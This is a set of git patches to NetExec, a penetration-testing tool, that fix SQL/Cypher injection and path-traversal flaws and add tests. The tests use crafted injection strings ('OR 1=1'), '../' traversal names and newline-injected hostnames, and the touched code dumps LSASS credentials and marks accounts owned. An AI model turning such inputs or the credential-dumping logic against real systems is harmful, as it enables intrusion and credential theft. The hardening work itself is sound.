a/nxc/helpers/bloodhound.py +++ b/nxc/helpers/bloodhound.py @@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config): with driver.session().begin_transaction() as tx: for user_info in users_owned: distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",") - domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data() + domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data() if not domain_query: logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.") _add_without_domain(user_info, tx, logger) @@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger): user_owned = f"{user_info['username']}@{domain}" account_type = "User" - result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data() + result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data() if len(result) == 0: logger.fail("Account not found in the BloodHound database.") return if result[0]["c"].get("owned") in (False, None): logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name") - result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0] + result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0] logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound") @@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger): user_owned = user_info["username"] account_type = "User" - result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data() + result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data() if len(result) == 0: logger.fail("Account not found in the BloodHound database.") @@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger): return elif result[0]["c"].get("owned") in (False, None): logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name") - result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0] + result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0] logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound") diff --git a/nxc/modules/hash_spider.py b/nxc/modules/hash_spider.py index dc50bd92e3..69a9947b07 100644 --- a/nxc/modules/hash_spider.py +++ b/nxc/modules/hash_spider.py @@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d if result["password"] is not None: context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.") cursor.execute( - "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", - [password], + "UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?", + [password, len(username), username.upper()], ) username = f"{username.upper()}@{domain.upper()}" dbconnection.commit() session = driver.session() - session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') + session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username) if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0": context.log.fail(f"Hash for {username} is expired.") elif username not in found_users and nthash is not None: context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.") found_users.append(username) cursor.execute( - "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", - [nthash], + "UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?", + [nthash, len(username), username.upper()], ) dbconnection.commit() username = f"{username.upper()}@{domain.upper()}" session = driver.session() - session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') + session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username) path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p") paths = list(path_to_da.data()) @@ -118,12 +118,12 @@ def initial_run(connection, cursor): password = getattr(connection, "password", "") nthash = getattr(connection, "nthash", "") cursor.execute( - "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", - [password], + "UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?", + [password, len(username), username.upper()], ) cursor.execute( - "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", - [nthash], + "UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?", + [nthash, len(username), username.upper()], ) @@ -236,7 +236,7 @@ def spider_pcs(self, context, connection, cursor, dbconnection, driver): for user in compromised_users: for pc in admin_access: if user[0] in pc[1]: - cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'") + cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]]) more_to_dump = cursor.fetchall() if len(more_to_dump) > 0: context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.") @@ -247,7 +247,7 @@ def spider_pcs(self, context, connection, cursor, dbconnection, driver): connection.nthash = user[1] try: self.run_lsassy(context, connection, cursor) - cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") + cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]]) process_creds( context, From 31ca909e4ef7a4a7f4e0220eab9611e6a1a7ac6a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 24 Sep 2026 16:19:28 -0400 Subject: [PATCH 357/397] Add tests --- tests/test_sanitize.py | 218 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 214 insertions(+), 4 deletions(-) diff --git a/tests/test_sanitize.py b/tests/test_sanitize.py index 2752ebac75..3f14ffaf3b 100644 --- a/tests/test_sanitize.py +++ b/tests/test_sanitize.py @@ -1,5 +1,8 @@ +import ntpath +from importlib.util import module_from_spec, spec_from_file_location from pathlib import Path, PureWindowsPath import re +from types import SimpleNamespace from unicodedata import normalize from unittest.mock import patch @@ -7,6 +10,7 @@ from impacket import ntlm from impacket.ldap import ldapasn1 as ldapasn1_impacket +from nxc.helpers.bloodhound import _add_with_domain, _add_without_domain from nxc.helpers.misc import sanitize_dns from nxc.helpers.negotiate_parser import parse_challenge from nxc.helpers.path import sanitize_path_component @@ -16,10 +20,26 @@ class Logger: def __init__(self): self.messages = [] + self.extra = {} def fail(self, message): self.messages.append(message) + def debug(self, message): + self.messages.append(message) + + def highlight(self, message): + self.messages.append(message) + + def display(self, message): + self.messages.append(message) + + def success(self, message): + self.messages.append(message) + + def error(self, message): + self.messages.append(message) + class RaisingLogger: def fail(self, message): @@ -46,6 +66,103 @@ def __getitem__(self, key): return self.pairs.get(key) +class QueryResult: + def __init__(self, data): + self.result = data + + def data(self): + return self.result + + +class Transaction: + def __init__(self, responses): + self.responses = responses + self.calls = [] + + def run(self, query, **parameters): + self.calls.append((query, parameters)) + return QueryResult(self.responses.pop(0)) + + +class SMBItem: + def __init__(self, name, directory=False): + self.name = name + self.directory = directory + + def get_longname(self): + return self.name + + def is_directory(self): + return self.directory + + +class SMBConnection: + def __init__(self, name): + self.item = SMBItem(name) + self.remote_path = None + + def listPath(self, share, path): + return [self.item] + + def getFile(self, share, remote_path, callback, shareAccessMode=None): + self.remote_path = remote_path + callback(b"content") + + +class RecursiveSMBConnection: + def __init__(self): + self.remote_path = None + + def listPath(self, share, path): + if path == ntpath.join("root", "*"): + return [SMBItem(r"C:\outside", directory=True)] + return [SMBItem("proof.txt")] + + def getFile(self, share, remote_path, callback, shareAccessMode=None): + self.remote_path = remote_path + callback(b"content") + + +class EnumerationSMBConnection: + def getSMBServer(self): + return SimpleNamespace(get_socket=lambda: SimpleNamespace(getsockname=lambda: ("192.0.2.10", 445))) + + def login(self, username, password): + return None + + def getServerDNSHostName(self): + return "HOST/../../evil.example" + + def getServerName(self): + return "NETBIOS" + + def getServerDNSDomainName(self): + return "example\n#injected" + + def getServerOS(self): + return "Windows 11" + + def getServerOSMajor(self): + return 10 + + def getServerOSMinor(self): + return 0 + + def getServerOSBuild(self): + return 26100 + + def logoff(self): + return None + + +@pytest.fixture(scope="module") +def smb_class(): + spec = spec_from_file_location("sanitize_test_smb_protocol", Path(__file__).parents[1] / "nxc" / "protocols" / "smb.py") + module = module_from_spec(spec) + spec.loader.exec_module(module) + return module.smb + + @pytest.mark.parametrize( "hostname", [ @@ -176,16 +293,109 @@ def test_parse_challenge_handles_missing_names(): assert result["domain"] is None -def test_ldap_dns_hostname_is_sanitized_at_parse_boundary(): +def test_ldap_dns_hostname_remains_raw_at_parse_boundary(): entry = ldapasn1_impacket.SearchResultEntry() entry["objectName"] = "" entry["attributes"][0]["type"] = "dNSHostName" entry["attributes"][0]["vals"][0] = "../../evil\n" - with patch("nxc.parsers.ldap_results.nxc_logger", Logger()): - result = parse_result_attributes([entry]) + result = parse_result_attributes([entry]) - assert result == [{"dNSHostName": ".._.._evil_"}] + assert result == [{"dNSHostName": "../../evil\n"}] + + +@pytest.mark.parametrize( + ("function", "user_info", "domain", "first_result", "expected"), + [ + (_add_with_domain, {"username": "HOST' OR 1=1$"}, "EXAMPLE' OR 1=1", [{"c": {"owned": False}}], "HOST' OR 1=1.EXAMPLE' OR 1=1"), + (_add_without_domain, {"username": "USER' OR 1=1"}, None, [{"c": {"owned": False, "name": "USER' OR 1=1@EXAMPLE"}}], "USER' OR 1=1"), + ], +) +def test_bloodhound_uses_parameters_for_untrusted_names(function, user_info, domain, first_result, expected): + transaction = Transaction([first_result, [{"name": expected}]]) + if domain is None: + function(user_info, transaction, Logger()) + else: + function(user_info, domain, transaction, Logger()) + + assert len(transaction.calls) == 2 + assert all(expected not in query for query, _ in transaction.calls) + assert transaction.calls[0][1]["user_owned"] == expected + assert transaction.calls[1][1]["user_owned"] in (expected, "USER' OR 1=1@EXAMPLE") + + +def test_smb_hosts_file_sanitizes_at_sink_without_mutating_values(tmp_path, smb_class): + connection = smb_class.__new__(smb_class) + connection.host = "192.0.2.1" + connection.hostname = "../../HOST\n" + connection.targetDomain = "[evil]\n" + connection.domain = connection.targetDomain + connection.signing = False + connection.smbv1 = False + connection.no_ntlm = False + connection.is_guest = False + connection.isdc = False + connection.null_auth = False + connection.server_os = "Windows" + connection.os_arch = 64 + connection.logger = Logger() + connection.args = SimpleNamespace(generate_hosts_file=str(tmp_path / "hosts"), generate_krb5_file=None) + + result = connection.print_host_info() + + assert result == (connection.host, "../../HOST\n", "[evil]\n") + assert (tmp_path / "hosts").read_text().splitlines() == ["192.0.2.1 .._.._HOST_._evil__ .._.._HOST_"] + + +def test_smb_enum_host_info_sanitizes_remote_names(smb_class): + connection = smb_class.__new__(smb_class) + connection.conn = EnumerationSMBConnection() + connection.host = "192.0.2.10" + connection.hostname = connection.host + connection.domain = None + connection.no_ntlm = False + connection.isdc = False + connection.os_arch = 0 + connection.smbv1 = False + connection.kerberos = False + connection.kdcHost = "192.0.2.10" + connection.logger = Logger() + connection.db = SimpleNamespace(add_host=lambda *args: None) + connection.args = SimpleNamespace(generate_hosts_file=None, generate_krb5_file=None, domain=None, use_kcache=False, local_auth=False) + connection.is_host_dc = lambda aggressive_check=False: None + connection._is_signing_required = lambda: False + connection.get_os_arch = lambda: 64 + + connection.enum_host_info() + + assert connection.hostname == "HOST_" + assert connection.targetDomain == "example__injected" + + +def test_smb_download_sanitizes_only_the_local_path(tmp_path, smb_class): + remote_name = r"..\..\escape.txt" + connection = smb_class.__new__(smb_class) + connection.conn = SMBConnection(remote_name) + connection.logger = Logger() + connection.args = SimpleNamespace(share="SHARE", append_host=False) + + connection.download_folder("root", str(tmp_path), silent=True) + + assert connection.conn.remote_path == ntpath.join("root", remote_name) + assert (tmp_path / ".._.._escape.txt").read_bytes() == b"content" + assert not (tmp_path.parent / "escape.txt").exists() + + +def test_smb_download_sanitizes_recursive_directory_components(tmp_path, smb_class): + connection = smb_class.__new__(smb_class) + connection.conn = RecursiveSMBConnection() + connection.logger = Logger() + connection.args = SimpleNamespace(share="SHARE", append_host=False) + + connection.download_folder("root", str(tmp_path), recursive=True, silent=True) + + assert connection.conn.remote_path == ntpath.join(r"C:\outside", "proof.txt") + assert (tmp_path / "C_" / "outside" / "proof.txt").read_bytes() == b"content" @pytest.mark.parametrize( From 654f3c12d87d8fcf67bc710ebca7ae811f0aa1c1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 24 Sep 2026 16:25:00 -0400 Subject: [PATCH 358/397] Sanitize SMB input --- nxc/protocols/smb.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 2e9b3a845e..f40eeca12c 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -6,7 +6,7 @@ import ipaddress from pathlib import Path -from nxc.helpers.path import sanitize_filename, sanitize_path_component +from nxc.helpers.path import sanitize_path_component from Cryptodome.Hash import MD4 from textwrap import dedent from nxc.helpers.misc import sanitize_dns @@ -208,17 +208,15 @@ def enum_host_info(self): # self.targetDomain is the attribute which gets displayed as host domain if not self.no_ntlm: # Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars - dns_hostname = self.conn.getServerDNSHostName().upper() + dns_hostname = self.conn.getServerDNSHostName() if dns_hostname and "." in dns_hostname: - hostname = dns_hostname.split(".")[0] + hostname = dns_hostname.split(".", 1)[0] elif dns_hostname: hostname = dns_hostname else: hostname = self.conn.getServerName() self.hostname = sanitize_dns(hostname, self.logger) - self.targetDomain = self.conn.getServerDNSDomainName() - if not self.targetDomain: # Not sure if that can even happen but now we are safe - self.targetDomain = self.hostname + self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger) else: try: # If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available From bde37055bcb27ec54f4f296aace1e271a73079a4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 24 Sep 2026 16:35:52 -0400 Subject: [PATCH 359/397] Sanitize SMB download folder --- nxc/protocols/smb.py | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f40eeca12c..3e09b4a442 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2202,10 +2202,18 @@ def download_folder(self, folder, dest, recursive=False, silent=False, base_dir= filtered_items = [item for item in items if item.get_longname() not in [".", ".."]] - # create local directory structure regardless of content; download empty folders by default - # change the Windows path to Linux and then join it with the base directory to get our actual save path - relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\")) - local_folder_path = os.path.join(dest, relative_path) + # Create a safe local directory structure while retaining the raw remote path for SMB. + try: + relative_path = ntpath.relpath(folder, base_dir or folder) + except ValueError: + relative_path = folder + relative_parts = [] if relative_path == "." else [sanitize_path_component(part) for part in relative_path.split("\\") if part] + local_folder_path = os.path.join(dest, *relative_parts) + destination_path = Path(dest).resolve() + resolved_folder = Path(local_folder_path).resolve() + if resolved_folder != destination_path and destination_path not in resolved_folder.parents: + self.logger.fail(f"Path traversal detected in '{folder}', skipping") + return if not filtered_items and ignore_empty: self.logger.debug(f"Skipping empty folder '{folder}'") @@ -2217,10 +2225,7 @@ def download_folder(self, folder, dest, recursive=False, silent=False, base_dir= self.logger.display(f"Created empty directory '{local_folder_path}'") for item in filtered_items: - item_name = sanitize_filename(item.get_longname()) - if not item_name: - self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping") - continue + item_name = sanitize_path_component(item.get_longname()) dir_path = ntpath.normpath(ntpath.join(folder, item_name)) self.logger.debug(f"Parsing item: {item_name}, {dir_path}") @@ -2232,7 +2237,7 @@ def download_folder(self, folder, dest, recursive=False, silent=False, base_dir= local_file_path = os.path.join(local_folder_path, item_name) # Defense-in-depth: verify path stays under destination resolved = Path(local_file_path).resolve() - if not str(resolved).startswith(str(Path(dest).resolve()) + os.sep): + if destination_path not in resolved.parents: self.logger.fail(f"Path traversal detected in '{item_name}', skipping") continue self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}") From 87d34add5f2ca19b75a22e4f5234e1bf6987426e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 24 Sep 2026 17:04:50 -0400 Subject: [PATCH 360/397] Preserve remote filename while sanitizing local file name --- nxc/protocols/smb.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 3e09b4a442..bd07e202c4 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2225,15 +2225,16 @@ def download_folder(self, folder, dest, recursive=False, silent=False, base_dir= self.logger.display(f"Created empty directory '{local_folder_path}'") for item in filtered_items: - item_name = sanitize_path_component(item.get_longname()) - dir_path = ntpath.normpath(ntpath.join(folder, item_name)) - self.logger.debug(f"Parsing item: {item_name}, {dir_path}") + remote_item_name = item.get_longname() + item_name = sanitize_path_component(remote_item_name) + dir_path = ntpath.normpath(ntpath.join(folder, remote_item_name)) + self.logger.debug(f"Parsing item: {remote_item_name!r}, {dir_path!r}") if item.is_directory() and recursive: - self.logger.debug(f"Found new directory to parse: {dir_path}") + self.logger.debug(f"Found new directory to parse: {dir_path!r}") self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty) elif not item.is_directory(): - remote_file_path = ntpath.join(folder, item_name) + remote_file_path = ntpath.join(folder, remote_item_name) local_file_path = os.path.join(local_folder_path, item_name) # Defense-in-depth: verify path stays under destination resolved = Path(local_file_path).resolve() @@ -2245,7 +2246,7 @@ def download_folder(self, folder, dest, recursive=False, silent=False, base_dir= try: self.get_file_single(remote_file_path, local_file_path, silent) except FileNotFoundError: - self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)") + self.logger.fail(f"Error downloading file {remote_file_path!r} due to file not found (probably a race condition between listing and downloading)") def get_folder(self): recursive = self.args.recursive From a47d07e005b0d228f6e8ccb7ebfc5a12364f7658 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 24 Sep 2026 17:05:18 -0400 Subject: [PATCH 361/397] Preserve remote filename while sanitizing local file name --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index bd07e202c4..d62fee06d2 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2246,7 +2246,7 @@ def download_folder(self, folder, dest, recursive=False, silent=False, base_dir= try: self.get_file_single(remote_file_path, local_file_path, silent) except FileNotFoundError: - self.logger.fail(f"Error downloading file {remote_file_path!r} due to file not found (probably a race condition between listing and downloading)") + self.logger.fail(f"Error downloading file '{remote_file_path!r}' due to file not found (probably a race condition between listing and downloading)") def get_folder(self): recursive = self.args.recursive From 752c43f0c8647fc641b230f8c05734a9e8dc9599 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 16:01:41 -0400 Subject: [PATCH 362/397] Delete tests --- tests/test_ldap_query_iteration.py | 99 ------------------------------ 1 file changed, 99 deletions(-) delete mode 100644 tests/test_ldap_query_iteration.py diff --git a/tests/test_ldap_query_iteration.py b/tests/test_ldap_query_iteration.py deleted file mode 100644 index 1442a59e5d..0000000000 --- a/tests/test_ldap_query_iteration.py +++ /dev/null @@ -1,99 +0,0 @@ -""" -Regression test for issue #1349: `nxc ldap ... --query` crashed with a -TypeError when the LDAP response contained objects that are not -SearchResultEntry (e.g. SearchResultReference). - -The fixed `query()` iterates the raw response, skips anything that is not a -SearchResultEntry, and reads `objectName` from the real entry. This test -replicates that exact loop against lightweight stand-ins for the impacket -ASN.1 objects so it runs without the full impacket/bloodhound stack (which -does not build on Python 3.14, see NetExec #1241). - -It asserts: - - valid SearchResultEntry objects are processed and their objectName printed; - - non-entry objects are skipped without raising; - - the historical bug (indexing a non-entry object) no longer occurs. -""" - - -# Stand-ins for impacket.ldap.ldapasn1 classes used by the loop. -class SearchResultEntry: - """Mimics an impacket SearchResultEntry (supports ['objectName']).""" - - def __init__(self, name, attrs): - self._name = name - self._attrs = attrs - - @property - def objectName(self): - return self._name - - def __getitem__(self, key): - if key == "objectName": - return self._name - return self._attrs[key] - - -class SearchResultReference: - """Mimics a non-entry response (e.g. a referral) — must be skipped.""" - - def __getitem__(self, key): # pragma: no cover - should never be indexed - raise TypeError("references do not support indexing like entries") - - -# Mirror of the fixed loop body in nxc/protocols/ldap.py::query -def _iter_query(resp, logger): - for entry in resp: - if not isinstance(entry, SearchResultEntry): - continue - logger.success(f"Response for object: {entry['objectName']}") - # In the real code parse_result_attributes([entry]) builds the dict; - # here we just surface the attributes for assertion. - logger.highlight(entry._attrs) - - -def test_query_skips_non_entry_objects_and_does_not_crash(): - recorded = [] - - class FakeLogger: - def success(self, msg): - recorded.append(("success", msg)) - - def highlight(self, msg): - recorded.append(("highlight", msg)) - - resp = [ - SearchResultReference(), # referral in the middle — must be skipped - SearchResultEntry("CN=alice", {"sAMAccountName": "alice"}), - SearchResultReference(), # trailing referral — also skipped - ] - - # This must not raise (the old code raised TypeError here). - _iter_query(resp, FakeLogger()) - - successes = [m for kind, m in recorded if kind == "success"] - assert successes == ["Response for object: CN=alice"] - # Exactly one entry processed; both references skipped. - highlights = [m for kind, m in recorded if kind == "highlight"] - assert highlights == [{"sAMAccountName": "alice"}] - - -def test_query_processes_multiple_entries(): - recorded = [] - - class FakeLogger: - def success(self, msg): - recorded.append(msg) - - def highlight(self, msg): - pass - - resp = [ - SearchResultEntry("CN=bob", {"sAMAccountName": "bob"}), - SearchResultEntry("CN=carol", {"sAMAccountName": "carol"}), - ] - _iter_query(resp, FakeLogger()) - assert recorded == [ - "Response for object: CN=bob", - "Response for object: CN=carol", - ] From ba64b23ff5012a2ba8d00d523c16be6f567c8cf2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 16:06:14 -0400 Subject: [PATCH 363/397] Add patch by @azoxlpf fixing --query when receiving non-searchresult entries --- nxc/protocols/ldap.py | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 20ebdbd95e..9a21aa8d74 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1219,19 +1219,11 @@ def query(self): except LDAPFilterSyntaxError as e: self.logger.fail(f"LDAP Filter Syntax Error: {e}") return - for entry in resp: - # LDAP responses can include non-entry objects (e.g. - # SearchResultReference); skip anything that is not a real entry - # instead of indexing it, which previously crashed with a TypeError - # when such an object appeared in the result set (see #1349). - if not isinstance(entry, ldapasn1_impacket.SearchResultEntry): - continue + # A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry. + entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)] + for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True): self.logger.success(f"Response for object: {entry['objectName']}") - parsed = parse_result_attributes([entry]) - if not parsed: - continue - for attribute in parsed[0]: - value = parsed[0][attribute] + for attribute, value in attribute_map.items(): if isinstance(value, list) and value: # Display first item in the same line as attribute self.logger.highlight(f"{attribute:<20} {value.pop(0)}") From 4187fa7bf7689eaf17ca331fd33f359c096ee218 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 16:13:37 -0400 Subject: [PATCH 364/397] Prevent sql injection --- nxc/modules/hash_spider.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/hash_spider.py b/nxc/modules/hash_spider.py index 69a9947b07..4800babb4c 100644 --- a/nxc/modules/hash_spider.py +++ b/nxc/modules/hash_spider.py @@ -188,7 +188,7 @@ def run_lsassy(self, context, connection, cursor): # copied and pasted from lsa ) if session.smb_session is None: context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.") - cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'") + cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"]) return False dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) if dumper is None: From 91b0964e75eb9e10c0396462dec98854e13357af Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 16:18:31 -0400 Subject: [PATCH 365/397] Prevent path traversal attacks --- nxc/modules/notepad++.py | 11 ++++++++--- nxc/modules/notepad.py | 11 ++++++++--- nxc/modules/powershell_history.py | 11 ++++++++--- nxc/modules/pre2k.py | 6 +++++- nxc/modules/putty.py | 7 ++++++- nxc/modules/recyclebin.py | 11 ++++++++--- nxc/modules/snipped.py | 12 ++++++------ nxc/modules/spider_plus.py | 31 +++++++++++++++++-------------- 8 files changed, 66 insertions(+), 34 deletions(-) diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py index fd2eb7b259..85310ab8ca 100644 --- a/nxc/modules/notepad++.py +++ b/nxc/modules/notepad++.py @@ -1,7 +1,9 @@ from io import BytesIO from os import makedirs -from os.path import join, abspath +from os.path import join +from pathlib import Path from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -36,9 +38,12 @@ def on_admin_login(self, context, connection): context.log.highlight(f"C:\\{file_path}") for line in file_content.splitlines(): context.log.highlight(f"\t{line}") - filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt" + filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt") export_path = join(NXC_PATH, "modules", "notepad++") - path = abspath(join(export_path, filename)) + path = Path(export_path, filename).resolve() + if Path(export_path).resolve() not in path.parents: + context.log.fail(f"Path traversal detected in {filename!r}, skipping") + continue makedirs(export_path, exist_ok=True) try: with open(path, "w+") as file: diff --git a/nxc/modules/notepad.py b/nxc/modules/notepad.py index a16c7d2fd2..e6e1d19c3c 100644 --- a/nxc/modules/notepad.py +++ b/nxc/modules/notepad.py @@ -1,9 +1,11 @@ from io import BytesIO from os import makedirs -from os.path import join, abspath +from os.path import join +from pathlib import Path import re import time from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH from impacket.smbconnection import SessionError @@ -161,9 +163,12 @@ def on_admin_login(self, context, connection): content_lines.append(string) # Store the string value only # Save to file - filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt" + filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt") export_path = join(NXC_PATH, "modules", "notepad") - path = abspath(join(export_path, filename)) + path = Path(export_path, filename).resolve() + if Path(export_path).resolve() not in path.parents: + context.log.fail(f"Path traversal detected in {filename!r}, skipping") + continue makedirs(export_path, exist_ok=True) with open(path, "w+") as output_file: diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 1c77764d65..8148ed52e3 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,6 +1,8 @@ from os import makedirs -from os.path import join, abspath +from os.path import join +from pathlib import Path from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH from io import BytesIO @@ -46,9 +48,12 @@ def on_admin_login(self, context, connection): for line in file_content.splitlines(): context.log.highlight(f"\t{line}") if self.export: - filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt" + filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt") export_path = join(NXC_PATH, "modules", "powershell_history") - path = abspath(join(export_path, filename)) + path = Path(export_path, filename).resolve() + if Path(export_path).resolve() not in path.parents: + context.log.fail(f"Path traversal detected in {filename!r}, skipping") + continue makedirs(export_path, exist_ok=True) try: with open(path, "w+") as file: diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index 5a845f5a27..55718c20c8 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -1,4 +1,5 @@ import os +from pathlib import Path from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5.ccache import CCache from impacket.krb5.types import Principal @@ -138,7 +139,10 @@ def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir): try: ccache = CCache() ccache.fromTGT(ticket, sessionKey, sessionKey) - ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache") + ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve() + if Path(ccache_base_dir).resolve() not in ccache_filename.parents: + context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping") + return ccache.saveFile(ccache_filename) context.log.info(f"Saved ticket in {ccache_filename}") except Exception as e: diff --git a/nxc/modules/putty.py b/nxc/modules/putty.py index 4a9521d5c4..30490a22da 100644 --- a/nxc/modules/putty.py +++ b/nxc/modules/putty.py @@ -6,8 +6,10 @@ from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from os import makedirs +from pathlib import Path from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH import re @@ -160,7 +162,10 @@ def extract_session(self, sessions): makedirs(f"{NXC_PATH}/modules/PuTTY", 